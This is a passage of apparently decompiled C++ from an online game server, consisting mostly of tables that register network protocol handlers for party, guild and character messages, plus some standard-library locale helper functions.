*)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_MISC_WHSHANDLEREPAIR_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 43, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_MISC_CONNECTFROMWHERE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 3, 25, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_USER_CONNECTCUT2ZONE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 3, 22, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_USER_KICKOFFFROMWORLD_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 76, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_REGISTNUMBER_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 30, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_CHARDATAFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 31, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_BASE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 32, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_SHAPE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 33, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_QUEST_DOING_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 34, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_QUEST_DONE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 35, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_ABSTATE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 36, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_SKILL_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 37, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_PASSIVE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 41, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_GUILD_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 152, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_GUILD_ACADEMY_ZONE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 211, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_SINGLE_OPTION_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 46, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_ITEM_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 48, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_GAME_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 47, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_CHESTINFO_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 49, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_CHARTITLE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 29, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_CHARDATA_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 50, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_CHARGEDBUFF_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 14, 1, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_PARTY_FUNDAMENTAL_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 14, 8, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_PARTY_JOIN_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 14, 12, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_PARTY_LEAVE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 14, 22, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_PARTY_KICKOFF_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 14, 31, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_PARTY_DISMISS_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 14, 42, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_PARTY_CHANGEMASTER_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 14, 60, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_PARTY_LOGIN_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 14, 70, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_PARTY_LOGOUT_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 14, 77, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_PARTY_ITEM_LOOTING_ZONE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 14, 79, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_PARTY_MEMBERINFORM_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 6, 14, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_MAP_LINKRESERVE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 22, 13, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_KQ_W2Z_MAKE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 22, 17, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_KQ_W2Z_DESTROY_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 22, 15, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_KQ_W2Z_START_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 24, 6, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CT_CHARTTING_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 24, 7, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CT_ADD_FRIEND_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 67, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_ZONE_WAR_START_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 68, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_ZONE_WAR_END_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 71, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_ZONE_LIST_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 72, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_ZONE_MAKE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 73, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_ZONE_DELETE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 74, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_ZONE_MEMBER_JOIN_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 75, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_ZONE_MEMBER_LEAVE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 129, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_TOURNAMENT_START_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 121, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_GUILDWARCONFIRM_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 150, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_GUILDWARSTATUS_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 159, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_STORAGE_WITHDRAW_GRADE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 176, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_WORLD_RENAME_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 184, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_WORLD_RETYPE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 38, 113, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_GRADE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 38, 118, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_MEMBER_JOIN_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 38, 119, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_MEMBER_LEAVE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 38, 120, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_MASTER_TELEPORT_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 38, 121, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_MEMBER_GUILD_JOIN_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 38, 122, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_GUILD_BUFF_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 38, 123, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_GUILD_ACADEMY_MASTER_BUFF_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 31, 19, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_ZONE_PRISON_GO_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 31, 18, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_ZONE_PRISON_END_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 35, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_MISC_START_THE_BOOM_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 37, 50, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_HOLY_PROMISE_MY_UP_ZONE); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 37, 53, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_HOLY_PROMISE_MYUPPER_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 41, 2, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_INSTANCE_DUNGEON_DELETE_DUNGEON_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 178, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_WEDDING_CANCEL_WEDDING); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 199, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_TOURNAMENT_ZONE_MEMBERGRADE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 184, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_LINK_FROM_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 218, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_TOURNAMENT_ZONE_OBSERVER_ENTER_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 193, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_WORLD_USE_GUILD_TOKEN_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 227, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_TOURNAMENT_ZONE_JOIN_NEW_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 244, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_TOURNAMENT_GOLD_REFUND_ZONE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 203, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_GET_CHAT_BLOCK_SPAMER_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 45, 15, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_USER_CONNECTION_ZONE_CHANGE_CHAR_ID_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 38, 132, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_ACADEMY_REWARDSTORAGE_GRADE_INFO_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 101, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_MISC_SPAMMER_ZONE_CHAT_BAN_CMD); } //----- (0049CA70) -------------------------------------------------------- void __thiscall PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(PROTOCOLFUNCTIONTEMPLETE *this) { char *v1; // ebx@1 void **v2; // esi@1 signed int v3; // edi@1 this->vfptr = (PROTOCOLFUNCTIONTEMPLETEVtbl *)&PROTOCOLFUNCTIONTEMPLETE::_vftable_; v1 = (char *)this->this; v2 = (void **)this->pft_funcpnt; v3 = 1024; do { if ( *v2 != v1 ) operator delete__(*v2); ++v2; --v3; } while ( v3 ); } // 5BD728: using guessed type int (__thiscall *PROTOCOLFUNCTIONTEMPLETE_void ___thiscall ZoneListenSession_____NETCOMMAND ______vftable_)(void *p, char); //----- (0049CAA0) -------------------------------------------------------- void *__thiscall PROTOCOLFUNCTIONTEMPLETE::_scalar_deleting_destructor_(PROTOCOLFUNCTIONTEMPLETE *this, unsigned int a2) { void *v2; // esi@1 v2 = this; PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0049CAC0) -------------------------------------------------------- void __cdecl protocolstore(PROTOCOLFUNCTIONTEMPLETE *pf) { PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 4, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_MISC_HEARTBEAT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 5, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShineObject::so_LostSP); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 17, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_MISC_ZONERINGLINKTEST_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 104, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_CHAR_PLAYERSEARCH_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 106, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_CHAR_PLAYERSUMMON_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 105, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_CHAR_PLAYERFOUND_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 107, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_CHAR_KICKPLAYEROUT_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 108, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_CHAR_PLAYERBANNED_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 6, 16, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_MAP_EXPBONUS_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 6, 17, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_MAP_ITEMBONUS_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 147, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_GUILD_STORAGEWITHDRAW_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 85, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_ACT_WEDDING_COUPLE_ENTRANCE_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 149, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_CHAR_WEDDING_PARTNER_INFO_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 170, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_CHAR_WEDDING_PARTNER_SUMMON_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 171, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_CHAR_WEDDING_REFRESH_INFO_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 37, 54, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_HOLY_PROMISE_CENTRANSFER_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 173, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_CHAR_PLAYERSEARCH_BY_NORMAL_USER_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 174, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_CHAR_PLAYERFOUND_BY_NORMAL_USER_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 38, 114, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 38, 116, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 38, 130, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 38, 131, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 177, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_CHAR_EMPTY_INSTANCE_DUNGEON_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 41, 4, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_INSTANCE_DUNGEON_FIND_RNG); } //----- (0049CC70) -------------------------------------------------------- void __thiscall std::locale::facet::_Incref(std::locale::facet *this) { std::locale::facet *v1; // esi@1 unsigned int v2; // eax@1 std::_Lockit _Lock; // [sp+0h] [bp-4h]@1 _Lock._Locktype = (int)this; v1 = this; std::_Lockit::_Lockit(&_Lock, 0); v2 = v1->_Refs; if ( v2 < 0xFFFFFFFF ) v1->_Refs = v2 + 1; std::_Lockit::__Lockit(&_Lock); } //----- (0049CCA0) -------------------------------------------------------- std::locale::facet *__thiscall std::locale::facet::_Decref(std::locale::facet *this) { std::locale::facet *v1; // esi@1 unsigned int v2; // eax@1 int v3; // esi@4 std::_Lockit _Lock; // [sp+0h] [bp-4h]@1 _Lock._Locktype = (int)this; v1 = this; std::_Lockit::_Lockit(&_Lock, 0); v2 = v1->_Refs; if ( v2 && v2 < 0xFFFFFFFF ) v1->_Refs = v2 - 1; v3 = ((v1->_Refs != 0) - 1) & (unsigned int)v1; std::_Lockit::__Lockit(&_Lock); return (std::locale::facet *)v3; } //----- (0049CCE0) -------------------------------------------------------- void __thiscall std::locale::_locale(std::locale *this) { std::locale::facet *v1; // ecx@1 std::locale::facet *v2; // eax@2 v1 = *(std::locale::facet **)&this->___u0.baseclass_0.dummy[0]; if ( v1 ) { v2 = std::locale::facet::_Decref(v1); if ( v2 ) v2->vfptr->__vecDelDtor(v2, 1u); } } //----- (0049CD00) -------------------------------------------------------- void *__thiscall std::locale::facet::_scalar_deleting_destructor_(std::locale::facet *this, unsigned int a2) { void *v2; // esi@1 v2 = this; this->vfptr = (std::locale::facetVtbl *)&std::locale::facet::_vftable_; if ( a2 & 1 ) operator delete(this); return v2; } // 5E873C: using guessed type int (__thiscall *std__locale__facet___vftable_)(void *p, char); //----- (0049CD20) -------------------------------------------------------- void __thiscall std::codecvt_base::_codecvt_base(std::num_get > > *this) { this->baseclass_0.vfptr = (std::locale::facetVtbl *)&std::locale::facet::_vftable_; } // 5E873C: using guessed type int (__thiscall *std__locale__facet___vftable_)(void *p, char); //----- (0049CD30) -------------------------------------------------------- std::locale *__thiscall std::ios_base::getloc(std::ios_base *this, std::locale *result) { std::locale v2; // esi@1 std::locale *v3; // edi@1 unsigned int v4; // eax@1 v2 = *this->_Ploc; v3 = result; *(_DWORD *)&result->___u0.baseclass_0.dummy[0] = v2; std::_Lockit::_Lockit((std::_Lockit *)&result, 0); v4 = *(_DWORD *)(*(_DWORD *)&v2 + 4); if ( v4 < 0xFFFFFFFF ) *(_DWORD *)(*(_DWORD *)&v2 + 4) = v4 + 1; std::_Lockit::__Lockit((std::_Lockit *)&result); return v3; } //----- (0049CD70) -------------------------------------------------------- void *__thiscall std::ios_base::_vector_deleting_destructor_(std::ios_base *this, unsigned int a2) { void *v2; // esi@1 v2 = this; std::ios_base::_ios_base(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0049CD90) -------------------------------------------------------- unsigned __int16 __cdecl ps_assert(unsigned __int16 condition, const char *message, const char *flag) { if ( !condition ) { if ( flag ) { AssertClass::ac_AssertFail(&shineassert, message, flag); 